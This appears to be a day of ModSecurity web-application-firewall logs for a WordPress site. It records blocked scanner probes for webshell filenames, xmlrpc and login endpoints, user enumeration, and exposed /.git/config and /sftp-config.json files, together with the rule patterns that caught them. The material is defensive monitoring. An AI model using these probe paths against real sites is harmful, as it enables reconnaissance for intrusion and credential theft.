[Mon Apr 20 06:17:46.439344 2026] [:error] [pid 47779:tid 47784] [client 13.74.146.113:15467] [client 13.74.146.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/afggdg.php"] [unique_id "aeVUioahGl1n9UkmcNjwFwAAAUM"]
[Mon Apr 20 06:17:46.969704 2026] [:error] [pid 47731:tid 47740] [client 13.74.146.113:13910] [client 13.74.146.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/afggdg.php"] [unique_id "aeVUilOwpc-h7Nzn-iOgjAAAAQc"]
[Mon Apr 20 06:17:47.506097 2026] [:error] [pid 64334:tid 64413] [client 13.74.146.113:13941] [client 13.74.146.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/afggdg.php"] [unique_id "aeVUi8Nh9IxxDqsrPyOd3AAAAIo"]
[Mon Apr 20 06:17:48.034664 2026] [:error] [pid 47731:tid 47750] [client 13.74.146.113:8574] [client 13.74.146.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/as.php"] [unique_id "aeVUjFOwpc-h7Nzn-iOgjwAAARE"]
[Mon Apr 20 06:17:48.539458 2026] [:error] [pid 64333:tid 64382] [client 13.74.146.113:7531] [client 13.74.146.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/as.php"] [unique_id "aeVUjHZav9wH8wxMd_tNrwAAAEY"]
[Mon Apr 20 06:17:49.072745 2026] [:error] [pid 64334:tid 64418] [client 13.74.146.113:1486] [client 13.74.146.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/as.php"] [unique_id "aeVUjcNh9IxxDqsrPyOd3wAAAI8"]
[Mon Apr 20 06:17:49.574416 2026] [:error] [pid 64334:tid 64422] [client 13.74.146.113:13580] [client 13.74.146.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/as.php"] [unique_id "aeVUjcNh9IxxDqsrPyOd4AAAAJM"]
[Mon Apr 20 06:17:50.097541 2026] [:error] [pid 47731:tid 47746] [client 13.74.146.113:12770] [client 13.74.146.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-the1.php"] [unique_id "aeVUjlOwpc-h7Nzn-iOglgAAAQ0"]
[Mon Apr 20 06:17:50.609357 2026] [:error] [pid 64332:tid 64354] [client 13.74.146.113:1490] [client 13.74.146.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-the1.php"] [unique_id "aeVUjsAQ57uMKAVSYEkA7gAAAAw"]
[Mon Apr 20 06:17:51.112029 2026] [:error] [pid 64333:tid 64391] [client 13.74.146.113:12761] [client 13.74.146.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-the1.php"] [unique_id "aeVUj3Zav9wH8wxMd_tNsAAAAE8"]
[Mon Apr 20 06:17:51.621147 2026] [:error] [pid 64333:tid 64383] [client 13.74.146.113:12787] [client 13.74.146.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-the1.php"] [unique_id "aeVUj3Zav9wH8wxMd_tNsgAAAEc"]
[Mon Apr 20 06:17:52.122610 2026] [:error] [pid 64332:tid 64352] [client 13.74.146.113:10845] [client 13.74.146.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gptsh.php"] [unique_id "aeVUkMAQ57uMKAVSYEkA7wAAAAo"]
[Mon Apr 20 06:17:52.688057 2026] [:error] [pid 60072:tid 60078] [client 13.74.146.113:1533] [client 13.74.146.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gptsh.php"] [unique_id "aeVUkPuj5dzu2v3Qr6Gd-AAAAcQ"]
[Mon Apr 20 06:17:53.197658 2026] [:error] [pid 64333:tid 64396] [client 13.74.146.113:14415] [client 13.74.146.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gptsh.php"] [unique_id "aeVUkXZav9wH8wxMd_tNvQAAAFQ"]
[Mon Apr 20 06:17:53.724803 2026] [:error] [pid 64332:tid 64354] [client 13.74.146.113:9117] [client 13.74.146.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gptsh.php"] [unique_id "aeVUkcAQ57uMKAVSYEkA-wAAAAw"]
[Mon Apr 20 06:41:51.239520 2026] [:error] [pid 64334:tid 64410] [client 146.59.70.139:47200] [client 146.59.70.139] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 146.59.70.139, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeVaL8Nh9IxxDqsrPyOjrAAAAIc"]
[Mon Apr 20 07:30:01.896075 2026] [:error] [pid 64333:tid 64399] [client 43.131.253.14:43902] [client 43.131.253.14] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "aeVleXZav9wH8wxMd_tyZwAAAFc"]
[Mon Apr 20 08:19:22.842774 2026] [:error] [pid 64333:tid 64383] [client 193.24.211.92:49831] [client 193.24.211.92] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.24.211.92, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aeVxCnZav9wH8wxMd_uOcgAAAEc"]
[Mon Apr 20 08:19:37.485904 2026] [:error] [pid 64333:tid 64376] [client 193.24.211.92:49831] [client 193.24.211.92] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users"] [unique_id "aeVxGXZav9wH8wxMd_uOoAAAAEA"], referer: https://duckduckgo.com/
[Mon Apr 20 10:15:09.482620 2026] [:error] [pid 11352:tid 11437] [client 5.135.142.201:56276] [client 5.135.142.201] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 5.135.142.201, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeWMLWl10mhMSfJ7ir8jewAAAJc"]
[Mon Apr 20 11:27:46.242826 2026] [:error] [pid 11351:tid 11395] [client 223.15.245.170:59262] [client 223.15.245.170] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "aeWdMgN8Z1-vktaI_tNloAAAAEg"]
[Mon Apr 20 11:32:08.475320 2026] [:error] [pid 11441:tid 11465] [client 130.131.243.198:6478] [client 130.131.243.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/404.php"] [unique_id "aeWeOMixByFUvmh319C0_QAAANY"]
[Mon Apr 20 11:32:17.273808 2026] [:error] [pid 11351:tid 11395] [client 130.131.243.198:6447] [client 130.131.243.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/404.php"] [unique_id "aeWeQQN8Z1-vktaI_tNm4gAAAEg"]
[Mon Apr 20 11:32:21.107145 2026] [:error] [pid 11441:tid 11445] [client 130.131.243.198:6438] [client 130.131.243.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/404.php"] [unique_id "aeWeRcixByFUvmh319C1GAAAAMI"]
[Mon Apr 20 11:33:33.431583 2026] [:error] [pid 11441:tid 11457] [client 77.95.113.65:56944] [client 77.95.113.65] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 77.95.113.65, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeWejcixByFUvmh319C11AAAAM4"]
[Mon Apr 20 11:52:39.047422 2026] [:error] [pid 11350:tid 11372] [client 149.202.183.73:51554] [client 149.202.183.73] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 149.202.183.73, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeWjB_4EoMBgOJuJnT0aZgAAAA0"]
[Mon Apr 20 12:28:53.610928 2026] [:error] [pid 11441:tid 11467] [client 185.113.100.4:57434] [client 185.113.100.4] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.113.100.4, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeWrhcixByFUvmh319DTgQAAANg"]
[Mon Apr 20 13:09:57.316492 2026] [:error] [pid 42014:tid 42026] [client 107.180.252.236:34230] [client 107.180.252.236] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 107.180.252.236, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeW1Jcek-00-ZI0f1NrkBAAAAQo"]
[Mon Apr 20 13:36:15.003876 2026] [:error] [pid 42014:tid 42030] [client 103.65.237.216:52151] [client 103.65.237.216] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/sftp-config.json" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/sftp-config.json"] [unique_id "aeW7T8ek-00-ZI0f1NrwfwAAAQ4"]
[Mon Apr 20 13:36:16.560465 2026] [:error] [pid 11441:tid 11446] [client 103.65.237.216:52690] [client 103.65.237.216] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/.vscode/sftp.json"] [unique_id "aeW7UMixByFUvmh319D31AAAAMM"]
[Mon Apr 20 14:28:48.815682 2026] [:error] [pid 42014:tid 42024] [client 2.67.97.152:54684] [client 2.67.97.152] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 2.67.97.152, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeXHoMek-00-ZI0f1NoLkQAAAQg"]
[Mon Apr 20 14:29:48.955807 2026] [:error] [pid 42014:tid 42030] [client 2.67.97.152:55635] [client 2.67.97.152] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users"] [unique_id "aeXH3Mek-00-ZI0f1NoMDwAAAQ4"]
[Mon Apr 20 14:30:16.103526 2026] [:error] [pid 11441:tid 11450] [client 2.67.97.152:56120] [client 2.67.97.152] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 2.67.97.152, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeXH-MixByFUvmh319AMZAAAAMc"]
[Mon Apr 20 15:11:28.868932 2026] [:error] [pid 11352:tid 11430] [client 134.199.166.214:59788] [client 134.199.166.214] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.git/config"] [unique_id "aeXRoGl10mhMSfJ7ir-OOwAAAJA"]
[Mon Apr 20 15:11:30.848962 2026] [:error] [pid 6928:tid 6935] [client 134.199.166.214:33452] [client 134.199.166.214] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.git/config"] [unique_id "aeXRoh3y7MHq1iB0qYotBQAAAUU"]
[Mon Apr 20 15:34:32.528857 2026] [:error] [pid 11352:tid 11423] [client 134.199.166.214:45634] [client 134.199.166.214] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.git/config"] [unique_id "aeXXCGl10mhMSfJ7ir-T5wAAAIk"]
[Mon Apr 20 15:34:33.206783 2026] [:error] [pid 11441:tid 11459] [client 134.199.166.214:42758] [client 134.199.166.214] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.git/config"] [unique_id "aeXXCcixByFUvmh319AhlgAAANA"]
[Mon Apr 20 16:06:34.925663 2026] [:error] [pid 11350:tid 11383] [client 103.83.244.21:8920] [client 103.83.244.21] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.83.244.21, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeXeiv4EoMBgOJuJnT1IzgAAABg"]
[Mon Apr 20 16:06:43.919439 2026] [:error] [pid 6928:tid 6936] [client 103.83.244.21:5106] [client 103.83.244.21] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.83.244.21, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeXekx3y7MHq1iB0qYpOsgAAAUY"]
[Mon Apr 20 16:06:54.316687 2026] [:error] [pid 11351:tid 11393] [client 103.83.244.21:5345] [client 103.83.244.21] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.83.244.21, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeXengN8Z1-vktaI_tOjWgAAAEY"]
[Mon Apr 20 16:07:04.810923 2026] [:error] [pid 42014:tid 42036] [client 103.83.244.21:5590] [client 103.83.244.21] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.83.244.21, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeXeqMek-00-ZI0f1No07QAAARQ"]
[Mon Apr 20 16:07:15.142772 2026] [:error] [pid 42014:tid 42035] [client 103.83.244.21:5854] [client 103.83.244.21] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.83.244.21, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeXes8ek-00-ZI0f1No1AAAAARM"]
[Mon Apr 20 16:07:25.428538 2026] [:error] [pid 6928:tid 6934] [client 103.83.244.21:5091] [client 103.83.244.21] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.83.244.21, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeXevR3y7MHq1iB0qYpO-wAAAUQ"]
[Mon Apr 20 16:30:13.261280 2026] [:error] [pid 11352:tid 11429] [client 103.186.241.154:32797] [client 103.186.241.154] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.186.241.154, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeXkFWl10mhMSfJ7ir-hJwAAAI8"]
[Mon Apr 20 16:49:39.968450 2026] [:error] [pid 11350:tid 11369] [client 149.202.76.92:34776] [client 149.202.76.92] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 149.202.76.92, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeXoo_4EoMBgOJuJnT1O6AAAAAo"]
[Mon Apr 20 16:52:07.063269 2026] [:error] [pid 11441:tid 11454] [client 134.199.166.214:40772] [client 134.199.166.214] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.git/config"] [unique_id "aeXpN8ixByFUvmh319A5ywAAAMs"]
[Mon Apr 20 16:52:07.660591 2026] [:error] [pid 11352:tid 11434] [client 134.199.166.214:43682] [client 134.199.166.214] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.git/config"] [unique_id "aeXpN2l10mhMSfJ7ir-mWgAAAJQ"]
[Mon Apr 20 18:00:53.729858 2026] [:error] [pid 11441:tid 11452] [client 77.68.115.185:46512] [client 77.68.115.185] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 77.68.115.185, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeX5VcixByFUvmh319BghAAAAMk"]
[Mon Apr 20 18:00:55.082279 2026] [:error] [pid 11441:tid 11460] [client 129.226.93.214:42100] [client 129.226.93.214] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "aeX5V8ixByFUvmh319BgiwAAANE"]
[Mon Apr 20 18:11:22.795165 2026] [:error] [pid 42014:tid 42033] [client 173.239.214.6:50123] [client 173.239.214.6] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/css/buttons.css"] [unique_id "aeX7ysek-00-ZI0f1NphMwAAARE"]
[Mon Apr 20 18:13:33.256593 2026] [:error] [pid 6928:tid 6935] [client 66.70.178.228:56812] [client 66.70.178.228] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 66.70.178.228, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeX8TR3y7MHq1iB0qYqJjAAAAUU"]
[Mon Apr 20 18:28:45.692762 2026] [:error] [pid 11352:tid 11421] [client 134.199.166.214:45406] [client 134.199.166.214] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.git/config"] [unique_id "aeX_3Wl10mhMSfJ7ir_AdQAAAIc"]
[Mon Apr 20 18:28:46.236547 2026] [:error] [pid 11352:tid 11432] [client 134.199.166.214:55950] [client 134.199.166.214] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.git/config"] [unique_id "aeX_3ml10mhMSfJ7ir_AfQAAAJI"]
[Mon Apr 20 18:33:46.890654 2026] [:error] [pid 11350:tid 11372] [client 43.133.14.237:34304] [client 43.133.14.237] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "aeYBCv4EoMBgOJuJnT1gdAAAAA0"]
